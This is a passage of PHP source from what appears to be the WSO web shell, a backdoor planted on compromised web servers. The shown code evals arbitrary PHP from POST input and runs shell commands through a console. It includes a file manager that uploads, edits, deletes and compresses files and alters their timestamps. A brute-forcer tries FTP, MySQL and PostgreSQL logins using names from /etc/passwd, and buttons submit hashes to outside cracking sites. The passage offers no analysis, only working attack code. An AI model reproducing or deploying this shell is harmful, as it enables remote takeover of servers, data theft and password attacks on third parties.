605 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
606 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
607 if (!empty($_POST['p1'])) {
608 ob_start();
609 eval($_POST['p1']);
610 echo htmlspecialchars(ob_get_clean());
611 }
612 echo '</pre></div>';
613 wsoFooter();
614 }
615 function actionFilesMan() {
616 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
617 if (!empty($_POST['p1'])) {
618 switch ($_POST['p1']) {
619 case 'uploadFile':
620 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
621 break;
622 case 'mkdir':
623 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
624 break;
625 case 'delete':
626 function deleteDir($path) {
627 $path = (substr($path, -1) == '/') ? $path : $path . '/';
628 $dh = opendir($path);
629 while (($item = readdir($dh)) !== false) {
630 $item = $path . $item;
631 if ((basename($item) == "..") || (basename($item) == ".")) continue;
632 $type = filetype($item);
633 if ($type == "dir") deleteDir($item);
634 else @unlink($item);
635 }
636 closedir($dh);
637 @rmdir($path);
638 }
639 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
640 if ($f == '..') continue;
641 $f = urldecode($f);
642 if (is_dir($f)) deleteDir($f);
643 else @unlink($f);
644 }
645 break;
646 case 'paste':
647 if ($_COOKIE['act'] == 'copy') {
648 function copy_paste($c, $s, $d) {
649 if (is_dir($c . $s)) {
650 mkdir($d . $s);
651 $h = @opendir($c . $s);
652 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
653 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
654 }
655 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
656 } elseif ($_COOKIE['act'] == 'move') {
657 function move_paste($c, $s, $d) {
658 if (is_dir($c . $s)) {
659 mkdir($d . $s);
660 $h = @opendir($c . $s);
661 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
662 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
663 }
664 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
665 } elseif ($_COOKIE['act'] == 'zip') {
666 if (class_exists('ZipArchive')) {
667 $zip = new ZipArchive();
668 if ($zip->open($_POST['p2'], 1)) {
669 chdir($_COOKIE['c']);
670 foreach ($_COOKIE['f'] as $f) {
671 if ($f == '..') continue;
672 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
673 elseif (@is_dir($_COOKIE['c'] . $f)) {
674 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
675 foreach ($iterator as $key => $value) {
676 $zip->addFile(realpath($key), $key);
677 }
678 }
679 }
680 chdir($GLOBALS['cwd']);
681 $zip->close();
682 }
683 }
684 } elseif ($_COOKIE['act'] == 'unzip') {
685 if (class_exists('ZipArchive')) {
686 $zip = new ZipArchive();
687 foreach ($_COOKIE['f'] as $f) {
688 if ($zip->open($_COOKIE['c'] . $f)) {
689 $zip->extractTo($GLOBALS['cwd']);
690 $zip->close();
691 }
692 }
693 }
694 } elseif ($_COOKIE['act'] == 'tar') {
695 chdir($_COOKIE['c']);
696 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
697 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
698 chdir($GLOBALS['cwd']);
699 }
700 unset($_COOKIE['f']);
701 setcookie('f', '', time() - 3600);
702 break;
703 default:
704 if (!empty($_POST['p1'])) {
705 WSOsetcookie('act', $_POST['p1']);
706 WSOsetcookie('f', serialize(@$_POST['f']));
707 WSOsetcookie('c', @$_POST['c']);
708 }
709 break;
710 }
711 }
712 wsoHeader();
713 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
714 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
715 if ($dirContent === false) {
716 echo 'Can\'t open this folder!';
717 wsoFooter();
718 return;
719 }
720 global $sort;
721 $sort = array('name', 1);
722 if (!empty($_POST['p1'])) {
723 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
724 }
725 echo "<script>
726 function sa() {
727 for(i=0;i<d.files.elements.length;i++)
728 if(d.files.elements[i].type == 'checkbox')
729 d.files.elements[i].checked = d.files.elements[0].checked;
730 }
731</script>
732<table width='100%' class='main' cellspacing='0' cellpadding='2'>
733<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
734 $dirs = $files = array();
735 $n = count($dirContent);
736 for ($i = 0;$i < $n;$i++) {
737 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
738 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
739 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
740 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
741 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
742 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
743 }
744 $GLOBALS['sort'] = $sort;
745 function wsoCmp($a, $b) {
746 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
747 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
748 }
749 usort($files, "wsoCmp");
750 usort($dirs, "wsoCmp");
751 $files = array_merge($dirs, $files);
752 $l = 0;
753 foreach ($files as $f) {
754 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
755 $l = $l ? 0 : 1;
756 }
757 echo "<tr><td colspan=7>
758 <input type=hidden name=a value='FilesMan'>
759 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
760 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
761 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
762 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
763 echo "<option value='tar'>Compress (tar.gz)</option>";
764 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
765 echo "</select> ";
766 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
767 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
768 wsoFooter();
769 }
770 function actionStringTools() {
771 if (!function_exists('hex2bin')) {
772 function hex2bin($p) {
773 return decbin(hexdec($p));
774 }
775 }
776 if (!function_exists('binhex')) {
777 function binhex($p) {
778 return dechex(bindec($p));
779 }
780 }
781 if (!function_exists('hex2ascii')) {
782 function hex2ascii($p) {
783 $r = '';
784 for ($i = 0;$i < strLen($p);$i+= 2) {
785 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
786 }
787 return $r;
788 }
789 }
790 if (!function_exists('ascii2hex')) {
791 function ascii2hex($p) {
792 $r = '';
793 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
794 return strtoupper($r);
795 }
796 }
797 if (!function_exists('full_urlencode')) {
798 function full_urlencode($p) {
799 $r = '';
800 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
801 return strtoupper($r);
802 }
803 }
804 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
805 if (isset($_POST['ajax'])) {
806 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
807 ob_start();
808 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
809 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
810
811 \'") . "';
812";
813 echo strlen($temp), "
814", $temp;
815 exit;
816 }
817 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
818 wsoHeader();
819 echo '<h1>String conversions</h1><div class=content>';
820 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
821 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
822 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
823 if (!empty($_POST['p1'])) {
824 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
825 }
826 echo "</pre></div><br><h1>Search files:</h1><div class=content>
827 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
828 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
829 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
830 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
831 <tr><td></td><td><input type='submit' value='>>'></td></tr>
832 </table></form>";
833 function wsoRecursiveGlob($path) {
834 if (substr($path, -1) != '/') $path.= '/';
835 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
836 if (is_array($paths) && @count($paths)) {
837 foreach ($paths as $item) {
838 if (@is_dir($item)) {
839 if ($path != $item) wsoRecursiveGlob($item);
840 } else {
841 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
842 }
843 }
844 }
845 }
846 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
847 echo "</div><br><h1>Search for hash:</h1><div class=content>
848 <form method='post' target='_blank' name='hf'>
849 <input type='text' name='hash' style='width:200px;'><br>
850 <input type='hidden' name='act' value='find'/>
851 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
852 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
853 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
854 </form></div>";
855 wsoFooter();
856 }
857 function actionFilesTools() {
858 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
859 if (@$_POST['p2'] == 'download') {
860 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
861 ob_start("ob_gzhandler", 4096);
862 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
863 if (function_exists("mime_content_type")) {
864 $type = @mime_content_type($_POST['p1']);
865 header("Content-Type: " . $type);
866 } else header("Content-Type: application/octet-stream");
867 $fp = @fopen($_POST['p1'], "r");
868 if ($fp) {
869 while (!@feof($fp)) echo @fread($fp, 1024);
870 fclose($fp);
871 }
872 }
873 exit;
874 }
875 if (@$_POST['p2'] == 'mkfile') {
876 if (!file_exists($_POST['p1'])) {
877 $fp = @fopen($_POST['p1'], 'w');
878 if ($fp) {
879 $_POST['p2'] = "edit";
880 fclose($fp);
881 }
882 }
883 }
884 wsoHeader();
885 echo '<h1>File tools</h1><div class=content>';
886 if (!file_exists(@$_POST['p1'])) {
887 echo 'File not exists';
888 wsoFooter();
889 return;
890 }
891 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
892 if (!$uid) {
893 $uid['name'] = @fileowner($_POST['p1']);
894 $gid['name'] = @filegroup($_POST['p1']);
895 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
896 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
897 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
898 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
899 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
900 else $m = array('Chmod', 'Rename', 'Touch');
901 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
902 echo '<br><br>';
903 switch ($_POST['p2']) {
904 case 'view':
905 echo '<pre class=ml1>';
906 $fp = @fopen($_POST['p1'], 'r');
907 if ($fp) {
908 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
909 @fclose($fp);
910 }
911 echo '</pre>';
912 break;
913 case 'highlight':
914 if (@is_readable($_POST['p1'])) {
915 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
916 $code = @highlight_file($_POST['p1'], true);
917 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
918 }
919 break;
920 case 'chmod':
921 if (!empty($_POST['p3'])) {
922 $perms = 0;
923 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
924 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
925 }
926 clearstatcache();
927 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
928 break;
929 case 'edit':
930 if (!is_writable($_POST['p1'])) {
931 echo 'File isn\'t writeable';
932 break;
933 }
934 if (!empty($_POST['p3'])) {
935 $time = @filemtime($_POST['p1']);
936 $_POST['p3'] = substr($_POST['p3'], 1);
937 $fp = @fopen($_POST['p1'], "w");
938 if ($fp) {
939 @fwrite($fp, $_POST['p3']);
940 @fclose($fp);
941 echo 'Saved!<br><script>p3_="";</script>';
942 @touch($_POST['p1'], $time, $time);
943 }
944 }
945 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
946 $fp = @fopen($_POST['p1'], 'r');
947 if ($fp) {
948 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
949 @fclose($fp);
950 }
951 echo '</textarea><input type=submit value=">>"></form>';
952 break;
953 case 'hexdump':
954 $c = @file_get_contents($_POST['p1']);
955 $n = 0;
956 $h = array('00000000<br>', '', '');
957 $len = strlen($c);
958 for ($i = 0;$i < $len;++$i) {
959 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
960 switch (ord($c[$i])) {
961 case 0:
962 $h[2].= ' ';
963 break;
964 case 9:
965 $h[2].= ' ';
966 break;
967 case 10:
968 $h[2].= ' ';
969 break;
970 case 13:
971 $h[2].= ' ';
972 break;
973 default:
974 $h[2].= $c[$i];
975 break;
976 }
977 $n++;
978 if ($n == 32) {
979 $n = 0;
980 if ($i + 1 < $len) {
981 $h[0].= sprintf('%08X', $i + 1) . '<br>';
982 }
983 $h[1].= '<br>';
984 $h[2].= "
985";
986 }
987 }
988 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
989 break;
990 case 'rename':
991 if (!empty($_POST['p3'])) {
992 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
993 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
994 }
995 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
996 break;
997 case 'touch':
998 if (!empty($_POST['p3'])) {
999 $time = strtotime($_POST['p3']);
1000 if ($time) {
1001 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
1002 else echo 'Touched!';
1003 } else echo 'Bad time format!';
1004 }
1005 clearstatcache();
1006 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1007 break;
1008 }
1009 echo '</div>';
1010 wsoFooter();
1011 }
1012 function actionConsole() {
1013 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
1014 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1015 $_POST['p1'].= ' 2>&1';
1016 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1017 if (isset($_POST['ajax'])) {
1018 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1019 ob_start();
1020 echo "d.cf.cmd.value='';
1021";
1022 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
1023$ " . $_POST['p1'] . "
1024" . wsoEx($_POST['p1']), "
1025
1026 \'"));
1027 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
1028 if (@chdir($match[1])) {
1029 $GLOBALS['cwd'] = @getcwd();
1030 echo "c_='" . $GLOBALS['cwd'] . "';";
1031 }
1032 }
1033 echo "d.cf.output.value+='" . $temp . "';";
1034 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1035 $temp = ob_get_clean();
1036 echo strlen($temp), "
1037", $temp;
1038 exit;
1039 }
1040 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1041 wsoHeader();
1042 echo "<script>
1043if(window.Event) window.captureEvents(Event.KEYDOWN);
1044var cmds = new Array('');
1045var cur = 0;
1046function kp(e) {
1047 var n = (window.Event) ? e.which : e.keyCode;
1048 if(n == 38) {
1049 cur--;
1050 if(cur>=0)
1051 document.cf.cmd.value = cmds[cur];
1052 else
1053 cur++;
1054 } else if(n == 40) {
1055 cur++;
1056 if(cur < cmds.length)
1057 document.cf.cmd.value = cmds[cur];
1058 else
1059 cur--;
1060 }
1061}
1062function add(cmd) {
1063 cmds.pop();
1064 cmds.push(cmd);
1065 cmds.push('');
1066 cur = cmds.length-1;
1067}
1068</script>";
1069 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1070 foreach ($GLOBALS['aliases'] as $n => $v) {
1071 if ($v == '') {
1072 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1073 continue;
1074 }
1075 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1076 }
1077 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1078 if (!empty($_POST['p1'])) {
1079 echo htmlspecialchars("$ " . $_POST['p1'] . "
1080" . wsoEx($_POST['p1']));
1081 }
1082 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1083 echo '</form></div><script>d.cf.cmd.focus();</script>';
1084 wsoFooter();
1085 }
1086 function actionLogout() {
1087 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1088 die('bye!');
1089 }
1090 function actionSelfRemove() {
1091 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
1092 else echo 'unlink error!';
1093 if ($_POST['p1'] != 'yes') wsoHeader();
1094 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1095 wsoFooter();
1096 }
1097 function actionBruteforce() {
1098 wsoHeader();
1099 if (isset($_POST['proto'])) {
1100 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
1101 if ($_POST['proto'] == 'ftp') {
1102 function wsoBruteForce($ip, $port, $login, $pass) {
1103 $fp = @ftp_connect($ip, $port ? $port : 21);
1104 if (!$fp) return false;
1105 $res = @ftp_login($fp, $login, $pass);
1106 @ftp_close($fp);
1107 return $res;
1108 }
1109 } elseif ($_POST['proto'] == 'mysql') {
1110 function wsoBruteForce($ip, $port, $login, $pass) {
1111 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
1112 @mysql_close($res);
1113 return $res;
1114 }
1115 } elseif ($_POST['proto'] == 'pgsql') {
1116 function wsoBruteForce($ip, $port, $login, $pass) {
1117 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1118 $res = @pg_connect($str);
1119 @pg_close($res);
1120 return $res;
1121 }
1122 }
1123 $success = 0;
1124 $attempts = 0;
1125 $server = explode(":", $_POST['server']);
1126 if ($_POST['type'] == 1) {
1127 $temp = @file('/etc/passwd');
1128 if (is_array($temp)) foreach ($temp as $line) {
1129 $line = explode(":", $line);
1130 ++$attempts;
1131 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1132 $success++;
1133 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1134 }
1135 if (@$_POST['reverse']) {
1136 $tmp = "";
1137 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
1138 ++$attempts;
1139 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1140 $success++;
1141 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1142 }
1143 }
1144 }
1145 } elseif ($_POST['type'] == 2) {
1146 $temp = @file($_POST['dict']);
1147 if (is_array($temp)) foreach ($temp as $line) {
1148 $line = trim($line);
1149 ++$attempts;
1150 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1151 $success++;
1152 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1153 }
1154 }
1155 }
1156 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1157 }
1158 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1159 echo '</div><br>';
1160 wsoFooter();
1161 }
1162 function actionSql() {
1163 class DbClass {
1164 var $type;
1165 var $link;
1166 var $res;
1167 function DbClass($type) {
1168 $this->type = $type;
1169 }
